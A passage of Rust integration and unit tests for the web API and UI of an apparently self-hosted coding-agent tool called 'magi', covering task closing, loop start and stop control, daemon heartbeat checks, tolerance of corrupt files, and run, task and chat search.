17807        let created_at = task.created_at;
17808
17809        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17810        assert_eq!(done.status, 200, "{}", done.body);
17811        assert_eq!(done.json()["status_str"], "done");
17812
17813        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17814        assert_eq!(
17815            reloaded.runs,
17816            ["20260101-000000-b455", "20260101-000000-9af4"]
17817        );
17818        assert_eq!(
17819            reloaded.source,
17820            Source::Agent {
17821                run: "20260101-000000-b455".to_owned(),
17822                node: "implement".to_owned(),
17823            }
17824        );
17825        assert_eq!(reloaded.created_at, created_at);
17826    }
17827
17828    #[tokio::test]
17829    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17830        // `done` is allowed on any status, including `held`, with no release
17831        // in between - so a task held for a reason and then closed directly
17832        // must not keep reading as "waiting on" it afterwards, on its card or
17833        // in `magi task show`.
17834        let f = Fixture::start().await;
17835        let queue = f.queue();
17836        let mut task = Task::new(
17837            "landed while held".to_owned(),
17838            "x".to_owned(),
17839            PathBuf::from("/repo/magi"),
17840            Source::Human,
17841        );
17842        task.hold_manual(Some("waiting on 3ed9".to_owned()));
17843        queue.put(&mut task).expect("file the held task");
17844
17845        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17846        assert_eq!(done.status, 200, "{}", done.body);
17847        assert_eq!(done.json()["status_str"], "done");
17848        assert!(
17849            done.json()["hold_reason"].is_null(),
17850            "a done task cannot still be waiting on something: {}",
17851            done.body
17852        );
17853    }
17854
17855    #[tokio::test]
17856    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17857        // `queue_done` is the phone's way to close a task the loop never
17858        // settled itself - after confirming a manual GitHub merge, say - and
17859        // that is just as much "this task's story is over" as the loop's own
17860        // `Merged`/`Ready` path, so it must trigger the same cleanup.
17861        let f = Fixture::start().await;
17862        let queue = f.queue();
17863        let runs = f.runs();
17864        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17865        // The last attempt has to have actually landed for the earlier one
17866        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
17867        // for the case where it didn't.
17868        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17869
17870        let mut task = Task::new(
17871            "landed by hand".to_owned(),
17872            "x".to_owned(),
17873            PathBuf::from("/repo/magi"),
17874            Source::Human,
17875        );
17876        task.runs.push("20260101-000000-doa1".to_owned());
17877        task.runs.push("20260101-000000-doa2".to_owned());
17878        queue.put(&mut task).expect("file the task");
17879
17880        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17881        assert_eq!(done.status, 200, "{}", done.body);
17882
17883        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17884            .expect("run still on disk under this fixture's own home");
17885        assert_eq!(
17886            reloaded_run.status,
17887            RunStatus::Superseded,
17888            "closing the task by hand must relabel the earlier blocked attempt exactly \
17889             like the loop's own settle path does"
17890        );
17891    }
17892
17893    #[tokio::test]
17894    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17895        // Closing a task by hand is allowed from any status, including one
17896        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
17897        // manual merge the loop never watched, say. Nothing here is provably
17898        // why the task is done, so nothing earlier gets relabelled either.
17899        let f = Fixture::start().await;
17900        let queue = f.queue();
17901        let runs = f.runs();
17902        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17903        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17904
17905        let mut task = Task::new(
17906            "closed with nothing actually landed".to_owned(),
17907            "x".to_owned(),
17908            PathBuf::from("/repo/magi"),
17909            Source::Human,
17910        );
17911        task.runs.push("20260101-000000-dob1".to_owned());
17912        task.runs.push("20260101-000000-dob2".to_owned());
17913        queue.put(&mut task).expect("file the task");
17914
17915        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17916        assert_eq!(done.status, 200, "{}", done.body);
17917
17918        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17919            .expect("run still on disk under this fixture's own home");
17920        assert_eq!(
17921            reloaded_run.status,
17922            RunStatus::Blocked,
17923            "the last recorded attempt never landed, so the earlier one must not be \
17924             relabelled as superseded by it"
17925        );
17926    }
17927
17928    #[tokio::test]
17929    async fn unknown_ids_are_json_not_found_on_both_stores() {
17930        let f = Fixture::start().await;
17931
17932        let run = f.get("/api/runs/nosuchrun").await;
17933        let task = f.post("/api/queue/nosuchtask/hold", None).await;
17934
17935        assert_eq!(run.status, 404);
17936        assert_eq!(task.status, 404);
17937        assert!(
17938            run.json()["error"]
17939                .as_str()
17940                .is_some_and(|e| e.contains("run")),
17941            "the error names what was not found: {}",
17942            run.body
17943        );
17944        assert!(
17945            task.json()["error"]
17946                .as_str()
17947                .is_some_and(|e| e.contains("task")),
17948            "the error names what was not found: {}",
17949            task.body
17950        );
17951    }
17952
17953    #[tokio::test]
17954    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17955        let f = Fixture::start().await;
17956
17957        let missing = f.get("/api/health").await.json();
17958        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17959
17960        write_daemon(
17961            f.home.path(),
17962            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17963        );
17964        let stale = f.get("/api/health").await.json();
17965        assert_eq!(
17966            stale["daemon"]["running"], false,
17967            "a minute without a heartbeat is a dead daemon, not a busy one"
17968        );
17969        assert!(
17970            stale["daemon"]["stale_for_secs"]
17971                .as_i64()
17972                .is_some_and(|s| s >= 55),
17973            "staleness is reported so the UI can say how long: {stale}"
17974        );
17975
17976        write_daemon(f.home.path(), Timestamp::now());
17977        let fresh = f.get("/api/health").await.json();
17978        assert_eq!(fresh["daemon"]["running"], true);
17979        assert_eq!(fresh["daemon"]["idle"], false);
17980        assert_eq!(fresh["daemon"]["pid"], 4242);
17981        assert_eq!(fresh["daemon"]["completed"], 7);
17982        assert_eq!(
17983            fresh["daemon"]["current"][0]["task"],
17984            "20260902-140501-aaaa"
17985        );
17986        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17987    }
17988
17989    #[tokio::test]
17990    async fn the_loop_is_not_running_until_something_starts_it() {
17991        let f = Fixture::start().await;
17992
17993        let view = f.get("/api/loop").await.json();
17994        assert_eq!(view["running"], false);
17995        assert_eq!(
17996            view["owned"], false,
17997            "nobody owns a loop that does not exist: {view}"
17998        );
17999        assert_eq!(view["stopping"], false);
18000        assert_eq!(view["last_error"], Value::Null);
18001        assert_eq!(view["daemon"]["running"], false);
18002        assert_eq!(
18003            view["repo"], "/repo/magi",
18004            "the repository a start would use, named before it is started"
18005        );
18006    }
18007
18008    #[tokio::test]
18009    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18010        let f = Fixture::start().await;
18011
18012        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18013        assert_eq!(res.status, 200, "{}", res.body);
18014        let view = res.json();
18015        assert_eq!(view["running"], true);
18016        assert_eq!(
18017            view["owned"], true,
18018            "the loop the UI started is the UI's own to stop: {view}"
18019        );
18020        assert_eq!(
18021            view["merge"],
18022            Value::Null,
18023            "no override was given, so each repository's own config decides"
18024        );
18025
18026        // The same object from the route a waking phone polls first. Two
18027        // surfaces disagreeing about whether anything is running is exactly
18028        // the confusion this UI exists to remove.
18029        let health = f.get("/api/health").await.json();
18030        assert_eq!(health["loop"]["running"], true, "{health}");
18031        assert_eq!(health["loop"]["owned"], true, "{health}");
18032
18033        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18034    }
18035
18036    #[tokio::test]
18037    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18038        let f = Fixture::start().await;
18039        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18040        assert_eq!(first.status, 200, "{}", first.body);
18041
18042        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18043        assert_eq!(
18044            again.status, 409,
18045            "two loops on one queue race for the same claims: {}",
18046            again.body
18047        );
18048        assert!(
18049            again.json()["error"]
18050                .as_str()
18051                .is_some_and(|e| e.contains("already running the loop")),
18052            "the refusal has to say why: {}",
18053            again.body
18054        );
18055        assert_eq!(
18056            f.get("/api/loop").await.json()["running"],
18057            true,
18058            "and the loop that was already running is untouched by it"
18059        );
18060
18061        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18062    }
18063
18064    #[tokio::test]
18065    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18066        let f = Fixture::start().await;
18067        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18068
18069        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18070        assert_eq!(
18071            res.status, 200,
18072            "the answer must not wait for the loop: a run in flight is tens of \
18073             minutes and the operator is holding a phone: {}",
18074            res.body
18075        );
18076
18077        let view = settled(&f, |v| v["running"] == false).await;
18078        assert_eq!(view["owned"], false);
18079        assert_eq!(
18080            view["stopping"], false,
18081            "a loop that has stopped is not still stopping: {view}"
18082        );
18083        assert_eq!(
18084            view["last_error"],
18085            Value::Null,
18086            "a loop that was asked to stop did not fail: {view}"
18087        );
18088
18089        // Idempotent, because the operator cannot tell a slow stop from a lost
18090        // one and will press it again.
18091        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18092        assert_eq!(twice.status, 200, "{}", twice.body);
18093    }
18094
18095    #[tokio::test]
18096    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18097        let f = Fixture::start().await;
18098        // How the operator has been doing it: a `magi serve` of their own,
18099        // heartbeat fresh, in the same home this UI reads.
18100        write_daemon(f.home.path(), Timestamp::now());
18101
18102        let view = f.get("/api/loop").await.json();
18103        assert_eq!(view["running"], false, "not in this process: {view}");
18104        assert_eq!(view["owned"], false, "and not this process's to control");
18105        assert_eq!(
18106            view["daemon"]["running"], true,
18107            "but a loop is alive somewhere, which is what the UI must say"
18108        );
18109        assert_eq!(view["daemon"]["pid"], 4242);
18110
18111        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18112            let res = f.post("/api/loop", Some(body)).await;
18113            assert_eq!(
18114                res.status, 409,
18115                "neither button may pretend to work on someone else's loop: {}",
18116                res.body
18117            );
18118            assert!(
18119                res.json()["error"]
18120                    .as_str()
18121                    .is_some_and(|e| e.contains("4242")),
18122                "the refusal has to name the process the operator must go to: {}",
18123                res.body
18124            );
18125        }
18126        assert_eq!(
18127            f.get("/api/loop").await.json()["running"],
18128            false,
18129            "and the refusal started nothing"
18130        );
18131    }
18132
18133    #[tokio::test]
18134    async fn a_stale_status_file_is_not_a_foreign_owner() {
18135        let f = Fixture::start().await;
18136        write_daemon(
18137            f.home.path(),
18138            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18139        );
18140
18141        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18142        assert_eq!(
18143            res.status, 200,
18144            "a daemon killed a minute ago must not lock the loop out of its \
18145             own home for good: {}",
18146            res.body
18147        );
18148        assert_eq!(res.json()["running"], true);
18149
18150        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18151    }
18152
18153    #[tokio::test]
18154    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18155        let f = Fixture::start().await;
18156        let before = f.get("/api/health").await.json()["loop_rev"]
18157            .as_u64()
18158            .expect("a loop revision");
18159
18160        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18161
18162        let after = f.get("/api/health").await.json()["loop_rev"]
18163            .as_u64()
18164            .expect("a loop revision");
18165        assert!(
18166            after > before,
18167            "the loop is in-process state, so this counter is the only thing \
18168             that tells a second device the first one started it: {before} -> \
18169             {after}"
18170        );
18171
18172        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18173    }
18174
18175    #[tokio::test]
18176    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18177        let f = Fixture::with_loop(launch_broken).await;
18178
18179        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18180        assert_eq!(
18181            res.status, 200,
18182            "starting it is not the failure: {}",
18183            res.body
18184        );
18185
18186        let view = settled(&f, |v| v["last_error"].is_string()).await;
18187        assert_eq!(
18188            view["running"], false,
18189            "a loop that died must not read as running, or the operator has \
18190             nothing to press: {view}"
18191        );
18192        assert_eq!(view["owned"], false);
18193        assert!(
18194            view["last_error"]
18195                .as_str()
18196                .is_some_and(|e| e.contains("read-only file system")),
18197            "the phone is where a loop that died at 3am is visible: {view}"
18198        );
18199
18200        // And it can be started again: the corpse was reaped, not left to
18201        // occupy the slot.
18202        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18203        assert_eq!(again.status, 200, "{}", again.body);
18204        assert!(
18205            again.json()["last_error"]
18206                .as_str()
18207                .is_none_or(|e| !e.contains("read-only file system")),
18208            "a fresh start does not keep showing why the last one died: {}",
18209            again.body
18210        );
18211    }
18212
18213    #[tokio::test]
18214    async fn a_newer_daemon_status_file_still_renders() {
18215        let f = Fixture::start().await;
18216        // A field this build has never heard of must not turn the status line
18217        // into a 500; that is the whole reason the reader is permissive.
18218        std::fs::write(
18219            f.home.path().join("daemon.json"),
18220            serde_json::json!({
18221                "schema": 2,
18222                "updated_at": Timestamp::now().to_string(),
18223                "idle": true,
18224                "surprise": { "nested": [1, 2, 3] },
18225            })
18226            .to_string(),
18227        )
18228        .expect("write daemon.json");
18229
18230        let health = f.get("/api/health").await;
18231
18232        assert_eq!(health.status, 200);
18233        assert_eq!(health.json()["daemon"]["running"], true);
18234    }
18235
18236    #[tokio::test]
18237    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18238        let f = Fixture::start().await;
18239        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18240        let broken = f.runs().join("20260902-140502-bad");
18241        std::fs::create_dir_all(&broken).expect("run dir");
18242        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18243
18244        let list = f.get("/api/runs").await;
18245        let detail = f.get("/api/runs/20260902-140502-bad").await;
18246
18247        assert_eq!(list.status, 200);
18248        let listed = list.json();
18249        let ids: Vec<&str> = listed
18250            .as_array()
18251            .expect("an array")
18252            .iter()
18253            .map(|r| r["id"].as_str().expect("an id"))
18254            .collect();
18255        assert_eq!(
18256            ids,
18257            vec!["20260902-140501-good"],
18258            "one unreadable run must not cost the operator the whole history"
18259        );
18260        assert_eq!(detail.status, 500);
18261        assert!(
18262            detail.json()["error"]
18263                .as_str()
18264                .is_some_and(|e| e.contains("run.json")),
18265            "the failure names the file to look at: {}",
18266            detail.body
18267        );
18268        // A skipped run has to be countable somewhere, or the UI shows an
18269        // empty history with nothing to explain it - which is exactly what a
18270        // directory full of older-schema runs looks like.
18271        let health = f.get("/api/health").await;
18272        assert_eq!(health.json()["runs_unreadable"], 1);
18273    }
18274
18275    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
18276    #[tokio::test]
18277    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18278        let f = Fixture::start().await;
18279        let runs = f.runs();
18280        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18281        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18282        // Text three levels down, in a shape no current RunState has: an older
18283        // schema must still search.
18284        let path = runs.join("20260902-140502-bbbb").join("run.json");
18285        let mut v: serde_json::Value =
18286            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18287        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18288        std::fs::write(&path, v.to_string()).unwrap();
18289        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18290        std::fs::write(
18291            runs.join("20260902-140503-cccc").join("run.json"),
18292            "{ not json",
18293        )
18294        .unwrap();
18295
18296        let res = f.get("/api/search?scope=runs&q=quokka").await;
18297        assert_eq!(res.status, 200, "{}", res.body);
18298        let v = res.json();
18299        assert_eq!(v["total"], 1, "{v}");
18300        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18301        assert_eq!(v["hits"][0]["field"], "text");
18302        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18303        let parts = v["hits"][0]["snippet"].as_array().unwrap();
18304        assert!(
18305            parts
18306                .iter()
18307                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18308            "{v}"
18309        );
18310        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18311        assert_eq!(
18312            flat, "The Quokka leaks across threads",
18313            "whitespace is collapsed"
18314        );
18315
18316        // Terms are ANDed, across different fields, case-insensitively.
18317        let both = f
18318            .get("/api/search?scope=runs&q=MOBILE%20quokka")
18319            .await
18320            .json();
18321        assert_eq!(both["total"], 1, "{both}");
18322        let neither = f
18323            .get("/api/search?scope=runs&q=quokka%20zebra")
18324            .await
18325            .json();
18326        assert_eq!(neither["total"], 0, "{neither}");
18327        // Everything in the task statement is reachable, not only the row text.
18328        let stmt = f
18329            .get("/api/search?scope=runs&q=mobile%20first")
18330            .await
18331            .json();
18332        assert_eq!(stmt["total"], 2, "{stmt}");
18333        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18334        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18335    }
18336
18337    #[test]
18338    fn snippet_ignores_terms_longer_than_the_field() {
18339        let terms = ["ok".to_owned(), "elephant".to_owned()];
18340        let parts = snippet_of("ok", &terms);
18341        assert_eq!(
18342            parts,
18343            vec![SnippetPart {
18344                text: "ok".to_owned(),
18345                hit: true
18346            }]
18347        );
18348    }
18349
18350    #[test]
18351    fn snippet_marks_matches_longer_than_the_window() {
18352        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18353        let hit_len = |parts: &[SnippetPart]| -> usize {
18354            parts
18355                .iter()
18356                .filter(|p| p.hit)
18357                .map(|p| p.text.chars().count())
18358                .sum()
18359        };
18360        let total =
18361            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18362
18363        let long = "a".repeat(120);
18364        let parts = snippet_of(&long, std::slice::from_ref(&long));
18365        assert!(hit_len(&parts) > 0, "{parts:?}");
18366        assert!(total(&parts) <= cap);
18367
18368        let ja = "あ".repeat(130);
18369        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18370        assert!(hit_len(&parts) > 0, "{parts:?}");
18371        assert!(total(&parts) <= cap);
18372
18373        // A short hit, then one straddling the window's end.
18374        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18375        let term = format!("ab{}", "c".repeat(100));
18376        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18377        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18378        assert!(total(&parts) <= cap);
18379
18380        // Only the head matches: not highlighted.
18381        let text = format!("{}z", "a".repeat(119));
18382        let parts = snippet_of(&text, &["a".repeat(120)]);
18383        assert_eq!(hit_len(&parts), 0, "{parts:?}");
18384    }
18385
18386    #[tokio::test]
18387    async fn search_caps_hits_and_snippet_length() {
18388        let f = Fixture::start().await;
18389        let runs = f.runs();
18390        for n in 0..(SEARCH_MAX_HITS + 5) {
18391            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18392        }
18393        let v = f.get("/api/search?scope=runs&q=web").await.json();
18394        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18395        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18396        assert_eq!(v["truncated"], true);
18397        // Every listed run hit carries its list row for the page's filters.
18398        assert!(
18399            v["hits"]
18400                .as_array()
18401                .unwrap()
18402                .iter()
18403                .all(|h| h["run"]["status"] == "merged")
18404        );
18405
18406        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
18407        let parts = snippet_of(&long, &["needle".to_owned()]);
18408        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
18409        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
18410        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
18411    }
18412
18413    #[tokio::test]
18414    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
18415        let f = Fixture::start().await;
18416        let queue = f.queue();
18417        let mut t = Task::new(
18418            "short title".to_owned(),
18419            "line one\nthe hidden Armadillo detail".to_owned(),
18420            PathBuf::from("/repo/magi"),
18421            Source::Agent {
18422                run: "r1".to_owned(),
18423                node: "chat".to_owned(),
18424            },
18425        );
18426        t.last_error = Some("disk full on /tmp".to_owned());
18427        queue.put(&mut t).expect("file the task");
18428
18429        for (q, want) in [
18430            ("armadillo", 1),
18431            ("disk%20FULL", 1),
18432            ("chat", 1),
18433            ("queued", 1),
18434            ("short%20nothing", 0),
18435        ] {
18436            let v = f
18437                .get(&format!("/api/search?scope=tasks&q={q}"))
18438                .await
18439                .json();
18440            assert_eq!(v["total"], want, "{q}: {v}");
18441        }
18442        for bad in [
18443            "/api/search?scope=tasks&q=",
18444            "/api/search?scope=tasks&q=%20",
18445            "/api/search?scope=chats&q=",
18446            "/api/search?scope=chats&q=%20",
18447            "/api/search?scope=nope&q=a",
18448            "/api/search?q=a",
18449        ] {
18450            assert_eq!(f.get(bad).await.status, 400, "{bad}");
18451        }
18452    }
18453
18454    /// Write one conversation file the way the store reads it back.
18455    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
18456        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
18457            .expect("seat value");
18458        let turns: Vec<serde_json::Value> = turns
18459            .iter()
18460            .map(|(who, body)| {
18461                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
18462            })
18463            .collect();
18464        let doc = serde_json::json!({
18465            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
18466            "status": status, "turns": turns,
18467            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
18468            "seat": seat,
18469        });
18470        let dir = f.home.path().join("talks");
18471        std::fs::create_dir_all(&dir).expect("talks dir");
18472        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
18473    }
18474
18475    #[test]
18476    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18477        let mut talk: Talk = serde_json::from_value(serde_json::json!({
18478            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18479            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18480            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18481            "seat": crate::agent::SeatState::new("talk", "test", 1)
18482        })).unwrap();
18483        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18484        talk.title = Some(talk::ChatTitle {
18485            text: "最近の話題".into(),
18486            source: talk::TitleSource::Generated,
18487        });
18488        let doc = talk_search_doc(&talk);
18489        assert_eq!(doc["title"], "最近の話題");
18490        assert_eq!(doc["turns"][0]["operator"], "古い話題");
18491        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18492        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18493    }
18494
18495    #[tokio::test]
18496    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18497        let f = Fixture::start().await;
18498        write_talk(
18499            &f,
18500            "20260901-000001-aaaa",
18501            "open",
18502            &[
18503                (
18504                    "operator",
18505                    "\n  Why does the Pangolin cache expire?\nsecond line",
18506                ),
18507                ("agent", "Because the TTL is thirty seconds."),
18508            ],
18509        );
18510        write_talk(
18511            &f,
18512            "20260901-000002-bbbb",
18513            "closed",
18514            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18515        );
18516        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18517
18518        let search = |q: &'static str| {
18519            let f = &f;
18520            async move {
18521                f.get(&format!("/api/search?scope=chats&q={q}"))
18522                    .await
18523                    .json()
18524            }
18525        };
18526
18527        let v = search("PANGOLIN").await;
18528        assert_eq!(v["scope"], "chats");
18529        assert_eq!(v["total"], 1, "{v}");
18530        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18531        assert_eq!(v["hits"][0]["field"], "title");
18532        assert_eq!(v["unreadable"], 1, "{v}");
18533        let marked: Vec<&str> = v["hits"][0]["snippet"]
18534            .as_array()
18535            .unwrap()
18536            .iter()
18537            .filter(|p| p["hit"] == true)
18538            .map(|p| p["text"].as_str().unwrap())
18539            .collect();
18540        assert_eq!(marked, ["Pangolin"]);
18541
18542        // An agent turn, in a closed conversation.
18543        let v = search("zebra").await;
18544        assert_eq!(v["total"], 1, "{v}");
18545        assert_eq!(v["hits"][0]["field"], "agent");
18546        // Words may sit in different turns; all must be present.
18547        assert_eq!(search("pangolin%20thirty").await["total"], 1);
18548        assert_eq!(search("pangolin%20zebra").await["total"], 0);
18549        // Bookkeeping is not searched.
18550        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18551            assert_eq!(search(q).await["total"], 0, "{q}");
18552        }
18553        // The first line only is the title; the second line is still a turn.
18554        assert_eq!(search("second").await["hits"][0]["field"], "operator");
18555        // Open conversations are listed before closed ones.
18556        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18557
18558        let v = f.get("/api/search?scope=nope&q=a").await;
18559        assert_eq!(v.status, 400);
18560        assert!(
18561            v.body.contains("scope must be runs, tasks or chats"),
18562            "{}",
18563            v.body
18564        );
18565    }
18566
18567    #[test]
18568    fn a_question_card_links_a_task_id_to_the_task_page() {
18569        let start = APP_JS
18570            .find("function updateAskCard(")
18571            .expect("updateAskCard exists");
18572        let body = &APP_JS[start..];
18573        let body = &body[..body.find("\n}\n").expect("function end")];
18574        assert!(body.contains("question.run_is_task"));
18575        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18576        assert!(body.contains("`#/runs/${question.run}`"));
18577        assert!(body.contains("\"task\" : \"run\""));
18578    }
18579
18580    #[test]
18581    fn plain_text_message_surfaces_go_through_linkify() {
18582        assert!(APP_JS.contains("function linkify("));
18583        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18584        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18585        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18586        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18587        assert!(!APP_JS.contains("innerHTML = text"));
18588    }
18589
18590    #[test]
18591    fn implementation_rate_views_keep_independent_samples() {
18592        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18593            let a = stats::AgentStats {
18594                competitive_entered: competitive_n,
18595                competitive_wins: usize::from(competitive_n > 0),
18596                solo_entered: solo_n,
18597                solo_adopted: 2 * usize::from(solo_n > 0),
18598                ..Default::default()
18599            };
18600            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18601            for (key, n, numerator) in [
18602                ("competitive_win_rate", competitive_n, a.competitive_wins),
18603                ("solo_adoption_rate", solo_n, a.solo_adopted),
18604            ] {
18605                if n == 0 {
18606                    assert!(v[key].is_null());
18607                } else {
18608                    assert_eq!(v[key]["denominator"], n);
18609                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18610                }
18611            }
18612        }
18613        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18614        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18615        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18616        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18617    }
18618
18619    #[test]
18620    fn stats_bars_share_one_id_keyed_plan() {
18621        let start = APP_JS
18622            .find("function statsBarRows(")
18623            .expect("statsBarRows exists");
18624        let body = &APP_JS[start..];
18625        let body = &body[..body.find("\n}\n").expect("function end")];
18626        assert!(body.contains("statsBarPlan(rows)"));
18627        assert!(body.contains("statsAgentTone(row.agent)"));
18628        assert!(!body.contains("candTone(i)"));
18629        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18630        for root in [
18631            "stats-agents-bars",
18632            "stats-solo-bars",
18633            "stats-reviewers-bars",
18634        ] {
18635            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18636        }
18637    }
18638
18639    #[test]
18640    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18641        let start = APP_JS
18642            .find("function renderStatsReviewerScatter(")
18643            .expect("renderStatsReviewerScatter exists");
18644        let body = &APP_JS[start..];
18645        let body = &body[..body.find("\n}\n").expect("function end")];
18646        assert!(body.contains("statsScatterPlan(reviewers)"));
18647        assert!(body.contains("statsAgentTone(d.agent)"));
18648        assert!(APP_JS.contains("function statsScatterPlan("));
18649        assert!(
18650            APP_JS.contains("d.submitted < STATS_LOW_N")
18651                || APP_JS.contains("r.submitted < STATS_LOW_N")
18652        );
18653        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18654        assert!(APP_CSS.contains(".precision-scatter"));
18655    }
18656
18657    #[test]
18658    fn advisor_reflection_is_drawn_as_stacked_segments() {
18659        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18660        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18661        let html = include_str!("../assets/ui/index.html");
18662        assert!(html.contains("Approximate"));
18663        for label in ["reflected strongly", "faint", "no proposal"] {
18664            assert!(html.contains(label));
18665        }
18666        let css = include_str!("../assets/ui/app.css");
18667        for c in ["refl-strong", "refl-faint", "refl-absent"] {
18668            assert!(css.contains(&format!(".{c} {{")));
18669        }
18670    }
18671
18672    #[test]
18673    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18674        assert!(APP_JS.contains("function statsDailyPlan("));
